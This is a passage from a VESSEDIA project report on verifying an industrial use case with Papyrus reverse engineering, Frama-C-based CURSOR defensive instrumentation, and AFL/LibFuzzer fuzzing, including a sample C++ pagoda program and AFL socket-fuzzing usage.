Symbolic execution was first defined for programs. The underlying concept consists in executing 
programs, not for concrete numerical values but for symbolic parameters, and computing logical 
constraints on those parameters at each step of the execution. Symbolic execution techniques 
allow computing semantics of programs or models and representing them efficiently in an abstract 
manner. DIVERSITY has been designed for the purpose of managing the diversity of different 
semantics, but also the diversity of possible analyses based on symbolic execution (test 
generation, proof, deadlock search, etc.). The design of DIVERSITY has been guided by the 
following concerns: 

- The ability to analyse a wide range of (modelling) languages. This has led to the definition of a 
pivot language called "xLIA” which stands for eXecutable Language for Interaction & Assemblage. 
xLIA is a rich language with a variety of primitives which allow encoding all classical semantics. 

                                                

32 https://wiki.eclipse.org/Papyrus_Software_Designer 
33 https://projects.eclipse.org/proposals/eclipse-formal-modeling-project 
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- The ability to express a wide range of coverage objectives. A large class of coverage objectives 
are already implemented, such as structural coverage, Condition/Decision coverage MC/DC, 
inclusion criterion (detects already encountered behaviours), etc. Moreover, DIVERSITY provides 
facilities to define new ones. 

- The customizability of the exploration strategies. DIVERSITY implements specific strategies for 
exploring the models in addition to the usual ones: BFS (Breadth First Search), DFS (Depth First 
Search), random traversal, weighted traversal, etc. Besides, DIVERSITY provides heuristics to 
alleviate the combinatory explosion problem when targeting a coverage objective. DIVERSITY has 
been designed in a way which facilitates the definition of new and more advanced exploration 
strategies. 

 

Our interest for future in-house development is specifically driven by the capability to annotate with 
ACSL predicates a given code from its UML model (either by hand or thanks to an approach like 
CEA’s Diversity using model interpretation), and to generate the annotated code for further proof 
obligation generation or fuzzing for instance. This also intends to be able to centralize the 
annotations and/or their automatic generation into a UML model, which will ease transferring these 
annotations from a version to the following for a given code. 

To reach this goal, we first attempted to apply Papyrus reverse functionality to ensure that the tool 
worked effectively in our environment on toy-example codes. 

The Papyrus tool releases used are: 

• org.eclipse.papyrus.designer.product-1.1.0--linux.gtk.x86_64 
• jre1.8.0_202 (Eclipse Papyrus runs under Java and needs a Java Runtime time 

Environment) 

This worked smoothly on several small C++ programs, like the one below dedicated to pagoda 
management. 

As defined in Wikipedia, “a pagoda is a priority queue implemented with a variant of a binary tree. 
The root points to its children, as in a binary tree. Every other node points back to its parent and 
down to its leftmost (if it is a right child) or rightmost (if it is a left child) descendant leaf. The basic 
operation is merge or meld, which maintains the heap property. An element is inserted by merging 
it as a singleton. The root is removed by merging its right and left children. Merging is bottom-up, 
merging the leftmost edge of one with the rightmost edge of the other.” 

This code is typically extracted from https://www.sanfoundry.com/cpp-program-to-implement-
pagoda: 

  

 /* 

  * C++ Program to Implement Pagoda 

  */ 

 #include <iostream> 

 #include <cstdlib> 

 #define MAX_ELEMS 25 

 using namespace std; 

 /* 

  * Node Declaration 

  */ 

 struct node 

 { 

     int k; 

     node *left; 

     node *right; 

 }; 

 typedef node *tree; 

   

 /* 

  * Merging two trees 

  */ 

https://www.sanfoundry.com/cpp-program-to-implement-pagoda/
https://www.sanfoundry.com/cpp-program-to-implement-pagoda/
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 tree merge(tree a,tree b ) 

 { 

     tree bota, botb, r, temp; 

     if (a == NULL)  

         return b; 

     else if (b == NULL)  

         return a; 

     else  

     { 

         bota = a->right; 

         a->right = NULL; 

         botb = b->left;  

         b->left = NULL; 

         r = NULL; 

         while (bota != NULL && botb != NULL) 

         { 

             if (bota->k < botb->k)  

             { 

                 temp = bota->right; 

                 if (r == NULL)  

                 bota->right = bota; 

                 else  

                 { 

                     bota->right = r->right; 

                     r->right = bota; 

                 } 

                 r = bota; 

                 bota = temp; 

             } 

             else  

             { 

                 temp = botb->left; 

                 if (r == NULL)  

                     botb->left = botb; 

                 else  

                 { 

                     botb->left = r->left; 

                     r->left = botb; 

                 } 

                 r = botb; 

                 botb = temp; 

             } 

         } 

         if (botb == NULL)  

         { 

             a->right = r->right; 

             r->right = bota; 

             return a; 

         } 

         else 

         { 

             b->left = r->left; 

             r->left = botb; 

             return b; 

         } 

     } 

 } 

 /* 

  * Insert element into pagoda 

  */ 

 tree insert(tree node, tree pq) 

 { 

     node->left = node; 

     node->right = node; 

     return merge(pq, node); 

 } 

   

 /* 

  * Delete element from pagoda 
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  */ 

 tree del(tree pq) 

 { 

     tree le, ri; 

     if (pq == NULL) 

     { 

         cout<<"Deletion out of range"<<endl; 

         return NULL; 

     } 

     else  

     {  

         if (pq->left == pq)  

             le = NULL; 

         else  

         { 

             le = pq->left; 

             while (le->left != pq)  

             le = le->left; 

             le->left = pq->left; 

         } 

         if (pq->right == pq)  

             ri = NULL; 

         else  

         { 

             ri = pq->right; 

             while (ri->right != pq)  

                 ri = ri->right; 

             ri->right = pq->right; 

         } 

         return merge(le, ri); 

     } 

 } 

   

 /* 

  * Main Contains Menu 

  */ 

 int main() 

 { 

     node **root = new node* [MAX_ELEMS + 1]; 

     int value, i = 0; 

     int choice; 

     while(1) 

     { 

         cout<<"\n----------------------"<<endl; 

         cout<<"Operations on Pagoda"<<endl; 

         cout<<"\n----------------------"<<endl; 

         cout<<"Insert element at Last"<<endl; 

         cout<<"Display Pagoda"<<endl; 

         cout<<"Delete Last element"<<endl; 

         cout<<"Exit"<<endl; 

         cout<<"Enter your choice: "; 

         cin>>choice; 

         switch(choice) 

         { 

         case 1: 

         { 

             cout<<"Enter element "<<i + 1<<": "; 

             cin>>value; 

             node *temp = new node; 

             temp->k = value; 

             root[i] = insert(temp, root[i]); 

             i++; 

             break; 

         } 

         case 2: 

         { 

             cout<<"Displaying elements of pagoda: "<<endl; 

             int j = 0; 

             while(root[j] != NULL) 



 D5.6 – DA’s Use Case Final Report   

VESSEDIA D5.6 Page 104 of 147 

             {     

          cout<<"Element "<<j + 1<<": "<<root[j]->k<<endl; 

          j++; 

      } 

             break; 

         } 

         case 3: 

             root[i - 1] = del(root[i - 1]); 

             i--; 

             break; 

         case 4: 

             exit(1); 

         default: 

            cout<<"Wrong Choice"<<endl; 

        } 

     } 

     return 0; 

 } 

 

This small code was successfully imported into Eclipse Papyrus: 

 

Figure 20: Imported code into Papyrus 

 

And the corresponding (reversed) UML model was duly generated by Papyrus: 
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Figure 21: Papyrus Class Diagram generated from the original C++ code of pagoda management 

 

We can see on the figure above that classes are correctly imported, with some class relationships 
automatically generated between them. 

 

Later, we applied Papyrus to several code examples, incrementing the complexity and the size of 
the code to be reversed. This intended to ensure that the Eclipse and Papyrus tool chain is 
operating correctly, and that the reverse processing works fine. 

We then applied the toolchain to the C++ Proxy code34 (tcpproxy_server from Arash Partow, 
presented earlier). This code shares some common features with C++ code of our own, notably in 
terms of libraries included. The reverse engineering process35 from C++ to UML took several hours 
(4 hours on a PC, Intel i5 processor with 8 Go RAM under Linux Debian).  

 

But the first tries resulted in a Java exception generated by the Papyrus Reverse createModel 
function: 

 

java.lang.NullPointerException 

 at 

org.eclipse.papyrus.uml.diagram.wizards.command.PapyrusModelFromExistingDomainModelComman

d$1.createModel(PapyrusModelFromExistingDomainModelCommand.java:83) 

 at 

org.eclipse.papyrus.uml.diagram.wizards.command.PapyrusModelFromExistingDomainModelComman

d.doExecute(PapyrusModelFromExistingDomainModelCommand.java:105) 

 at org.eclipse.emf.transaction.RecordingCommand.execute(RecordingCommand.java:135) 

 at 

org.eclipse.emf.workspace.EMFCommandOperation.doExecute(EMFCommandOperation.java:119) 

                                                

34 Some first tries were performed on our gateway C code, but with failures due to the fact that the 

reverse tool is still not fully compliant with C language. For the sake of clarity, the issues found at 
DA on these experimentations will not be elaborated in this report. 
35 See the process in the video entitled “Papyrus UML / C++ roundtrip” 

(https://www.youtube.com/watch?v=y8gaxUcXU3c) for a short presentation. Otherwise a full 

documentation on Papyrus is available at https://wiki.eclipse.org/Papyrus_User_Guide. 

https://www.youtube.com/watch?v=y8gaxUcXU3c
https://wiki.eclipse.org/Papyrus_User_Guide


 D5.6 – DA’s Use Case Final Report   

VESSEDIA D5.6 Page 106 of 147 

 at 

org.eclipse.emf.workspace.AbstractEMFOperation.execute(AbstractEMFOperation.java:150) 

 at 

org.eclipse.core.commands.operations.DefaultOperationHistory.execute(DefaultOperationHist

ory.java:488) 

 at 

org.eclipse.papyrus.infra.emf.gmf.command.CheckedOperationHistory.doExecute(CheckedOperat

ionHistory.java:206) 

 at 

org.eclipse.papyrus.infra.emf.gmf.command.CheckedOperationHistory.execute(CheckedOperatio

nHistory.java:195) 

 at 

org.eclipse.papyrus.infra.emf.gmf.command.NotifyingWorkspaceCommandStack.doExecute(Notify

ingWorkspaceCommandStack.java:264) 

 at 

org.eclipse.emf.transaction.impl.AbstractTransactionalCommandStack.execute(AbstractTransa

ctionalCommandStack.java:165) 

 at 

org.eclipse.emf.transaction.impl.AbstractTransactionalCommandStack.execute(AbstractTransa

ctionalCommandStack.java:219) 

 at 

org.eclipse.papyrus.infra.emf.gmf.command.NestingNotifyingWorkspaceCommandStack.execute(N

estingNotifyingWorkspaceCommandStack.java:130) 

 at 

org.eclipse.papyrus.uml.diagram.wizards.wizards.InitModelWizard.createPapyrusModels(InitM

odelWizard.java:163) 

 at 

org.eclipse.papyrus.uml.diagram.wizards.wizards.CreateModelWizard.createAndOpenPapyrusMod

el(CreateModelWizard.java:320) 

 at 

org.eclipse.papyrus.uml.diagram.wizards.wizards.CreateModelWizard.performFinish(CreateMod

elWizard.java:280) 

 

.../... 

 

 at java.lang.reflect.Method.invoke(Method.java:498) 

 at org.eclipse.equinox.launcher.Main.invokeFramework(Main.java:653) 

 at org.eclipse.equinox.launcher.Main.basicRun(Main.java:590) 

 at org.eclipse.equinox.launcher.Main.run(Main.java:1499) 

 at org.eclipse.equinox.launcher.Main.main(Main.java:1472) 

 

The same crash was obtained on different platforms at DA, thus exonerating our verification 
platforms. We then addressed accordingly a bug report to the team at CEA in charge of the 
development of Papyrus (and Diversity) for a fix and/or possible workarounds. 

DA will investigate later the future releases of Papyrus fixing these issues, in order to decide on the 
opportunity to integrate Papyrus-Diversity tool chain in its development and V&V processes, given 
the fact that most of our (legacy) code will need reverse engineering before applying any semi-
formal methods and tools. 
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Chapter 7 Summary and Conclusion 

In the context of VESSEDIA, as planned in the project DoA, several analyses of relevant parts of 
DA’s Use Case are performed using tools provided by partners. Some investigations and 
experimentations are also realized in order to either mitigate some limitations met with VESSEDIA 
tools, or to complete the overview of potential technical approaches. During our verification 
activities, we coped with and palliated some issues, with the contribution of our project tool 
providers. In this respect, we defined several sub-Use Cases, to illustrate issues found, and to 
assess tool capabilities, aiming at cybersecurity property verification. 

Namely, we realized several tasks and obtained a certain number of results: 

- applying successfully the CURSOR method on parts of a network gateway instrumented by 
Frama-C E-ACSL plug-in: implementing automatic robust behaviour - defensive 
programming - in case of cybersecurity property violation; 

- experimenting AFL fuzzer, and some of its limitations in an industrial context. Thus also 
assessing other fuzzers LLVM/LibFuzzer and HonggFuzz, focusing on the benefits of their 
in-process fuzzing mechanism, in particular to deal with persistent network connections, 
and more generally to improve the coverage by drastically decreasing the fuzzing execution 
time; 

- extending the CURSOR method accordingly: finding new usages of static analysis for more 
efficient fuzzing activities, like static loop unrolling to help discovering new input scenarios 
of interest; 

- performing the verification of relevant slices of our Use Case, combining formal static and 
dynamic fuzzing techniques and tools;  

- identifying a set of issues in some static analysis tools, and thus contributing to their 
robustness improvement, essentially in E-ACSL plug-in which is the master piece of the 
CURSOR method; 

- exploring several complementary approaches as: 
o semi-formal techniques (using Papyrus tool), but limited to reverse-engineering in 

the scope of the project, 
o model-checking of source code, as a complementary approach to methods 

exploited in VESSEDIA, addressing other weakness categories for further possible 
integration; 

- re-injecting bugs discovered with a fuzzer, into Frama-C EVA plug-in analyses: generated 
input values help locating cybersecurity weaknesses in the source code. 

 

As a conclusion, the AFL fuzzer tool can be used in CURSOR approach, but with some limitations 
in terms of application complexity (related to linked libraries and memory size dedicated to “child” 
fuzzed process), and also execution speed as it is not an in-process fuzzing. Whereas 
LLVM/LibFuzzer can only be applied so far to non-CURSOR-ised code, but with a (much) higher 
capability of coverage for the same CPU time consumption, due to its elevated execution speed 
(up to 100x faster compared to AFL on some cases). Indeed, LLVM/LibFuzzer is an in-process 
fuzzer, which could present a decisive advantage, depending on the nature of the application 
under cybersecurity verification. 

The table below attempts to sum up the comparison between AFL and LibFuzzer regarding 
CURSOR process, at the time of writing: 
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Figure 22: Comparison between AFL and LibFuzzer 

 

The perspectives for future works are clearly to address the extension of CURSOR method 
to fuzzing with LibFuzzer, to tackle most of our “push-button” verification challenges: 
namely cybersecurity weaknesses automatically translated as executable statements (for 
defensive programming), and then the whole instrumented code intensively tested by 
fuzzers (to potentially cover this defensive programming by new generated input 
scenarios). 

 

On another sub-part of our Use Case, a secure proxy written in C++, we realized a first 
experimentation with Frama-Clang: the goal is indeed to also apply CURSOR on this C++ source 
code. To ease the exchanges with CEA partner (providing Frama-Clang) on issues raised with STL 
(ISO Standard Template Library), we identified and prepared a shareable open source proxy, 
namely the Arash Partow’s tcpproxy_server, which contains some common features with our case 
study. However, some limitations also identified by CEA do not permit to analyse the whole original 
code yet, and will require further development.  

 

These results with Frama-Clang, once fixing the issues found so far, could further permit to 
extend the CURSOR applicability to C++ source code using STL. 

 

Original code CURSOR-ised code

AFL

Applicable

Execution speed: Slow,

unless (potentially heavy) changes on the code

Applicable but only under some conditions 
(not linked with libraries with memory management 

at startup, ...)

Execution speed: Slow,

unless (potentially heavy) changes on the code

LibFuzzer

Applicable

Execution speed: Very fast 
(in-process fuzzing)

Not applicable (several issues under investigation)

Source Code

Fuzzers
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Chapter 9 List of Abbreviations  

Abbreviation Translation 

ACSL ANSI/ISO C Specification Language 

AFL American Fuzzy Lop 

AMS Aircraft Maintenance System 

CWE Common Weakness Enumeration 

DL Datalink 

DoA Document of Actions 

PRNG Pseudo-Random Number Generator 

ToE Target of Evaluation 

ToV Target of Verification 

UC Use Case 

WP Weakest Precondition (Frama-C plug-in) 

  



 D5.6 – DA’s Use Case Final Report   

VESSEDIA D5.6 Page 111 of 147 

Annex 1 – Reminder: Results achieved during  
Period 1 (M1-M18) of the Project 

 

This Annex presents a reminder of results obtained during the first half 
of the VESSEDIA project. 

 

Dynamic testing: first explorations  

Step 1 of T5.3 

 

These preliminary studies focus on fuzzing36, which is intended to provide an efficient way to test 
(source and/or binary) programs automatically. It is also a verification means which requires no 
particular expertise, at least on simple applications (as long as they do not require persistency or 
networking functionalities), compared to formal-based approaches. 

First results obtained in WP5, combining some static (EVA and E-ACSL Frama-C plug-ins) and 
dynamic approaches (testing, and preliminary insights on fuzzing) are presented at [5] by DA and 
CEA, exposing: 

– the new cost-effective CURSOR method, to trigger security counter-measures, which is 
based on static detection and runtime assertion checking of CWEs and requires no 
particular expertise in formal methods in order to be applied; 

– an implementation of this method within the Frama-C framework; 

– and its experimentation on a security-critical Apache library used in the experimental 
Aircraft Maintenance System prototype. 

These first successful outcomes permit to consolidate the strategy for the second half of the project 
as planned in the DoA. It is worth noting that the paper at [5] represented the very first time E-
ACSL results on real applications are publicly exposed. The corresponding method is named 
CURSOR, roughly defined at the end of FP7/STANCE project (2012-2016), and briefly reminded in 
Annex 2 of this report. This method is refined in the (2nd half) M19-M36 period. 

These explorations are promising even if some further works are required, for instance dealing with 
program state persistency and socket management issues. This point has to be elaborated more in 
depth in the project, as it reflects some issues apparently not widespread in industrial contexts. 

 

Static analyses on key components 

Step 2 of T5.3 

 

Static analysis is applied on some components of interest from the DA's Use Case, namely a C++ 
blockchain open source code (multichain.com). Multichain is a BitCoin blockchain fork dedicated to 
private permissioned blockchain. The blockchain is used as a secured distributed ledger, thus 
aiming at recording some specific unfalsifiable information. 

                                                

36 https://en.wikipedia.org/wiki/Fuzzing  

https://en.wikipedia.org/wiki/Fuzzing


 D5.6 – DA’s Use Case Final Report   

VESSEDIA D5.6 Page 112 of 147 

These static analyses performed on a C++ source code permitted to identify a series of limitations 
in Frama-Clang (the C++ front-end in Frama-C), and referenced into the CEA’s bug tracking 
system, in the context of VESSEDIA (ref. BTS 2320, 2333 and numerous mail exchanges). 

To identify the C++ constructs at the origin of the issues, CEA recommended to DA the usage of 
the C-Reduce37. C-Reduce is a tool that takes a large C/C++ file that has a property of interest 
(such as triggering a compiler bug) and automatically produces a much smaller C/C++ file that has 
the same property (exposing the same issue). It is intended to be used by people who discover 
and report bugs in compilers and other tools that process source code. 

In the first period, most fixes on Frama-Clang are not available, as the corresponding limitations 
are related to references to STL C++ library and represent a significant effort to fix or correctly get 
around by CEA.  

 

In the meantime, DA spends some effort to find workarounds as potential mitigation actions in case 
the forthcoming fixes might not be sufficient to permit the analysis of the C++ source code under 
study.  

These mitigation approaches consisted in: 

- translating C++ code as C code by third-party means: 

o converting C++ into LLVM IR (Intermediate Representation), and then using LLC 
C/C++ compiler back-ends, permitting in theory to get rid of problematic C++ 
constructs. Unfortunately, experiments led by DA showed that LLVM C back-end is 
no more maintained and the available release was not able to deal with the DA Use 
Case source code, and even terminated with segmentation faults in some cases. 
The LLVM C++ back-end also terminated with a crash on some essential pieces of 
code from our Use Case. 

o using LLVM C back-end fork (llvm-cbe38) which resulted in either compiler runtime 
errors or some IR constructs not supported anymore. Indeed, DA found that 
translation from C to IR and back to C was less error prone than converting C++ to 
IR and then to C. llvm-cbe seems also to be currently in an idle state as showed by 
its github commits frequency, at the time of writing. 

o following the advice of CEA, DA also considered alternative solutions like Comeau39 
and Edison Design Group40 compilers, but which seemed quite inactive in the recent 
period of time, and some of them are not open source and not free of charge 
(charge not planned in the DoA). 

- stubbing the source code for the constructs not yet processed by the CEA’s plugins. This 
solution was abandoned as costly, or even impossible to apply at an industrial scale. 

- backup to a Frama-Clang compliant application source code close enough to the future 
(operational) application. This is a temporary satisfying solution, and will permit to specify 
further improvements on the CEA’s front-end. This is one of the chosen solutions for the 
case of C++ code, as presented earlier in this report. 

- switching to a C source code application, part of the DA’s Use Case. This is the other 
solution also partly followed for the analyses planned for M19-M36 period. 

 

However, CEA is confident that some workarounds will be available in time, allowing DA to perform 
some further analyses on C++ source code, through a simplified STL adapted to DA’s 
developments.  

 

                                                

37 https://embed.cs.utah.edu/creduce/ 
38 https://github.com/JuliaComputing/llvm-cbe 
39 http://www.comeaucomputing.com 
40 https://www.edg.com/c 



 D5.6 – DA’s Use Case Final Report   

VESSEDIA D5.6 Page 113 of 147 

 

Coupling static and dynamic analyses on key components 

 

Step 3 of T5.3 

 

The preliminary activities in this task are performed consistently with task WP3/T3.2 dedicated to 
collaboration between static and dynamic approaches. 

Some of the results are presented in deliverable D3.3, especially concerning the coupling of 
CURSOR method and AFL fuzzer. These results are only preliminary, as extensions are expected 
in the scope of WP5 T5.5, in the second half of the project. 

 

Contributions to Security evaluation and certification process 

 

Step 4 of T5.3 

 

Some noticeable results are found in terms of metrics that could contribute to security evaluation 
process, in the scope of WP4/T4.1 (presented in deliverable D4.1).  

A prototype implementing one of these metrics is developed at DA and experimented on small 
parts extracted from DA's Use Case.  

Further activities are performed to assess some of these metrics, in order to consolidate and 
collect all potential artefacts contributing to cybersecurity evaluation process. 
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Annex 2 – Reminder: CURSOR in FP7/STANCE project 
(2012-2016) 

 

In order to help assessing the evolution of CURSOR method definition, between 
FP7/STANCE and VESSEDIA projects, we propose in the following the initial CURSOR 
purpose and process steps. 

 

General purpose 

The methodology named CURSOR combines static and dynamic techniques in order to palliate 
their mutual limitations.  

The underlying principle is based on the fact that the attacks history on most components mostly 
(but not only) rely on CVEs, which themselves are caused by CWEs. As a consequence, security 
reinforcement should start with the detection of source code weaknesses and their palliative 
solutions. This is also one of the main purposes in VESSEDIA project. 

On one hand, a sound static analyser, like Frama-C EVA plug-in, guarantees to generate alarms 
for all potential runtime errors and some other CWEs. But it may also generate spurious cases - 
false positives -, due to computation or calling context over-approximations, especially when one 
does not provide it with a sufficiently accurate initial state for the inputs for instance. As a result, 
the alarms of interest (the real, concrete ones) might be raised among numerous other spurious 
alarms, with generally no straightforward means to distinguish between them. Of course, more 
precise analyses could be performed through additional efforts, for instance on the specification of 
this so-called initial state, or additional annotations in the code to reduce the non-conclusive over-
approximations. However, these workarounds require a deeper understanding of the application 
under analysis, and may not be affordable in terms of efforts or expertise in practice.  

On the other hand, dynamic techniques are by definition not exhaustive. Generally speaking, they 
only deal with - user-provided or generated - sampling. Some approaches permit for instance to 
use these techniques to confirm a status on a given annotation, by generating counter-examples 
when applicable. These counter-examples can also be obtained by different means, from random 
testing to constraint solving techniques or even fuzzing testing. Penetration testing tools as such 
provide also dynamic analyses generally on binary files and larger targets of evaluation. But there 
is no guarantee of exhaustiveness, i.e. that all vulnerabilities in the source code will be duly 
detected. 

In brief, formal static analysis is sound but cannot guarantee scaling-up for large applications, while 
dynamic analysis is not sound but is more suitable for larger environments. Therefore, the question 
is: what could be done to get the best from the two (static and dynamic) approaches, while 
minimizing the effort on the final user side, and maximizing the efficiency in terms of security at 
source code level? 

The CURSOR methodology presented in the following tries and brings some answers and 
solutions to this question. It includes several more or less independent steps: most of them can be 
intrinsically helpful even if applied in isolation. Once combined, they provide some guarantees 
about the behaviour of the code, not only by preventing weaknesses at source code level, but also 
by automatically providing dynamic counter-measure calling contexts, in an in-depth and perimetric 
security approach. Basically, this methodology relies on an extension of Runtime Assertion 
Checking principles. 

The approach called Runtime Assertion Checking is generally presented as follows: 

“Combinations of abstract interpretation with runtime assertion checking can be beneficial in 
several ways, for example, statically validating or invalidating some annotations, avoiding 
redundant or irrelevant checks to optimize runtime verification, or generating annotations for 
alarms to be checked. Combinations with automatic test generation can be used to check at 
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runtime complex properties on a large test suite even when the properties are too complex to be 
supported by symbolic test generation  techniques directly.”   

The output of each step in our methodology is a source code with potentially some annotations 
added by the analysers. For convenience, only the most significant steps are presented in this 
annex, thus hiding some implementation workarounds which present no intrinsic interest in this 
report. 

Basically, the method consists in generating automatically as many ACSL alarms as the static 
analysers (EVA,...) will detect, then discharging some of these alarms by means of static (WP) and 
dynamic (like testing) analyses, and finally translating with E-ACSL the remaining annotations as 
an executable code for further pentesting/dynamic analyses and eventually operations. 

Finally, this executable code will be enriched with user-defined counter-measures triggered in case 
of activation of the corresponding alarms. As a matter of fact, this code is intended to be able to 
counter any attack based on the CWE detected by the static analysers.  

 

Library analysis 

Analysing a library is a particular case which requires some specific verification process. A library 
includes several functions that may call one another, or can be called from any other function from 
the application. 

Then the static analyses on security properties must be computed for each function independently. 
By this way, we will get the largest initial domain of values at the entry point of each of these 
functions. This will provide more alarms, and this is exactly what is needed to be conservative: in 
other words, covering all possible concrete calling contexts. 

These considerations are of utmost importance as the first analyser to be used in our method is 
Frama-C EVA plug-in, and namely EVA is context sensitive. Thus the process will be iterative, 
analysing function-by-function the whole library and keeping track of all alarms raised. 

Of course, in case of an application with a single entry-point, the analysis below can be applied as 
well, but just once, and from the main function entry point. 

 

A multi-step process 

The figure hereafter illustrates the different steps of the methodology proposed in this annex. Its 
breakdown is as follows: 

 

• Preliminary studies on the Use Case 

Some tools are of interest for a first overview of the Use Case, or to analyse more in depth some 
control or data-flows that may be responsible for vulnerable behaviours of the application under 
security evaluation. 

These recommended tools used are: EVA (in simple “push-button” mode for preliminary analysis), 
Slicer to reduce the code to some interesting sub-parts based on criteria like the alarms raised by 
EVA, and any other Frama-C plug-in capable to detect alarms. 

 

• Frama-C EVA 

EVA analysis is designed to raise alarms on statements that could lead to potential runtime errors 
(overflows, unbound arrays, etc.): in that case, ACSL annotations are added to the code, just 
before the statement (i.e. the statement will execute correctly if the annotations before it are valid). 
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For a given library, the source code is analyzed by EVA, function by function, thanks to a script 
developed in-house: it calls EVA for each function in the library, and stores (for later pretty-printing) 
the corresponding annotated source code. 

 

• DA’s Gena-CWE 

This plug-in, developed during FP7/STANCE project, (and slightly upgraded during VESSEDIA, at 
least to be compliant with the new releases of Frama-C), enlarges the set of CWE categories 
caught by EVA. It deals in its current version with CWE 457 (uninitialized variables), CWE 570 and 
CWE 571 (always true/false conditions). Indeed, these CWEs should be fixed before running the 
software: they might correspond to serious bugs in the code or its design. Moreover, Gena-CWE 
can be extended to several other source code-related CWEs, some of them corresponding to taint 
analysis (thus involving another plug-in developed by DA in STANCE, named Gena-Taint for taint 
analysis) and for instance double release/close of the same resource. These new alarms will 
mostly be computed on the basis of a previous EVA analysis.  

 

At this step, a new C source code is obtained, containing all the alarms, most of them as ACSL 
annotations. These alarms are related to common CWEs empirically involved in most of the CVEs 
observed on common components security history. 

 

• Dynamic approaches, e.g. fuzzers 

These complementary techniques and tools may permit to discharge some of the alarms 
generated so far. 

Their interest is of course to reduce the number of pending alarms/annotations with an unknown 
status (i.e., neither Valid nor Invalid from Frama-C point of view), and thus limiting the additional 
code that will be generated later by E-ACSL. 
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Figure 23: CURSOR: Methodology overview 

 

• Frama-C WP 

WP implements the proof of program procedure in Frama-C. This plug-in can be used to discharge 
some of the alarms generated so far. In many cases, a complementary axiomatic will be needed to 
achieve this goal. It is worth noticing that some annotations may also require a certain effort and 
expertise to be proved, whenever a proof assistant appears as necessary for instance. Therefore, 
this tool should be limited to few parts of code and annotations. 

 

A new C code is now obtained, containing the source code and the annotations that could not be 
discharged so far. 

 

• E-ACSL 

E-ACSL is now used to translate automatically the annotations as executable code. E-ACSL only 
accepts a sub-set of the annotations generated by EVA. However, our experimentations confirmed 
that this sub-set was large enough to cover most of the annotations of interest in terms of security 
evaluation (i.e. runtime errors, alarms detected by other complementary plug-in developed in-
house like Gena-CWE, ...), and for the scope and security objectives targeted by our Use Case in 
the context of VESSEDIA. 
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The code generated by E-ACSL is an instrumented C source code. Each ACSL alarm is translated 
into a source code, when applicable, which will be triggered in case of violation of this alarm. 

 

• DA’s counter-measures 

It is then up to the final user to define its counter-measures in case of violation of a given security 
property (RTE or CWE alarms). This annex is not intended to present these counter-measures. Let 
us simply list the range they may represent: from logging (see Race-Condition-proof code from 
CERN in Annex 4), mailing, interruption of service, to the generation of new firewall rules, etc. As 
the E-ACSL instrumented code contains the nature of the alarm and its location in the original 
code, it is obviously possible to implement more specific counter-measures w.r.t. some given 
library functionalities. This approach could be considered as similar to in-depth defensive security 
programming currently used in Safety context. 

 

Then, the source code obtained at this step can be considered as “CWE-proof”, for the intended 
CWE categories the static tools are looking for. 

 

• DA’s pentesting process 

Finally, a classical pentesting process will ensure that no new weakness is introduced at source 
code level, and that legacy CWEs are no more potentially exploitable, while other threats not 
addressed by static detection will be searched for. 

 

A simplified process 

It is also possible to consider a process in which the final user is not willing to put any effort on 
static analysis tools. This standpoint is of course not in the current trend: many standards, 
particularly in aeronautics, include static formal approaches as complements to classical reviews of 
code and/or test activities.  

However, we propose below for convenience a simplified verification and counter-measure 
generation process in which only automatic static analysers are involved, in a full “push-button” 
approach. Several steps from the previous figure are thus removed, excluding some dynamic 
verification tools.  

The process is thus quite straightforward as presented in the figure below: it consists in analysing 
the code by means of EVA and other plug-ins (like Gena-CWE implemented at DA) to detect the 
alarms, translating them into executable source code by means of E-ACSL, implementing the 
counter-measures in case of violation, and finally pentesting the whole application.  
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Figure 24: CURSOR: Simplified methodology 
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Annex 3 – AFL: The Case of Network Socket 
 

Fuzzing socket applications (i.e. applications using sockets as input/output channels) with AFL is a 
bit more tricky than for classic applications, because socket programs handle handshakes, 
program/protocol states, and other peculiarities that will be briefly presented in the following, and 
which are more subtle to manage during testing.   

One can of course modify the source code to let the program accept input through either stdin or a 
file, or even preload libraries modifying the way sockets are managed by converting them as files 
in the stdin/stdout buffers. But these modifications are not recommended in our VESSEDIA context 
of course as it could hide some important flaws, in particular because of these by-hand changes in 
the source code. 

 

The AFL command launching the fuzzing on a socket program is (from AFL v1.95b documentation 
excerpts): 

 

 

./afl-fuzz -i testcase_dir -o findings_dir [-D delay_before_write] \ 

       [-t timeout_delay] [-L ] -N network_specification /path/to/program \ 

      [...params...] 

 

 

where -L is specified only if the target program acts as a client to a network server (sends data to 

the server before receiving input in return).  Otherwise, afl-fuzz assumes that the target program 
acts as a server or daemon and expects to receive data from network clients and responds. One 

can use -t and -m to override the default timeout and memory limit for the executed process; rare 
examples of targets that may need these settings modified include compilers and video decoders.  

The network_specification has a form similar to a URL: 

 

 

    [tcp|udp]://hostspec:port 

 

 

Tips for optimizing fuzzing performance are discussed in file perf_tips.txt distributed with AFL. 

After some research on the Web, only one fork release of AFL (v1.95b) seems able to deal 

specifically with socket programs: https://github.com/jdbirdwell/afl. 

The documentation stipulates important considerations that we then reproduce extensively: 

For programs that use a stream (connection-based) protocol, use TCP, and for programs that use a 
datagram (connectionless) protocol, use UDP.  The hostspec must be one of ::1 (forcing IPv6 networking), 
127.0.0.1 (forcing IPv4 networking), and localhost (which is typically configured as IPv4 but may support 
IPv6 on some systems).  Only loopback networking (local to the host) is supported.  The port must be either 
a port number in the range 1..65535 or a service name known to the system being used. 

Programs that implement network services, also called daemons, are typically transaction-based: They wait 
for a request and send a response, and some expect a sequence of request/response transactions. Afl-fuzz 
implements fuzzing only for the first write to the target program and ignores all responses from the target.  
Most network services expect to run as background processes and process requests from many processes: 
they do not normally exit.  A timeout delay is required in order to terminate these processes, and the default 
timeout delay used in afl-fuzz is usually too long.  The user needs to experimentally determine a timeout 
delay (in milliseconds) that produces a sufficiently low percentage of hangs (exits forced by expiration of the 
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delay) while allowing the input to the target from afl-fuzz to be completely processed.  (Note that afl-fuzz will 
usually count these hangs as a single unique hang.) Since a network service does not normally exit, the 
initial timing performed by afl-fuzz will fail unless a '+' character is appended to the timeout_delay parameter, 
indicating that afl-fuzz is to ignore these timeouts. 

 

Network services programs also require some time to perform start-up processing, create and bind a socket 
to an address and port, and begin listening for traffic on that socket.  Connection requests (TCP) and sends 
(UDP) generated by afl-fuzz will fail if made before the network service is ready.  Afl-fuzz implements a delay 
and retry procedure to avoid this problem, where the delay is specified by the delay_before_write parameter 
(in milliseconds).  The first connection attempt (for TCP) or write (for UDP) is not made until after this delay, 
and the delay also specifies the wait time before each subsequent attempt.  Afl-fuzz will attempt to connect 
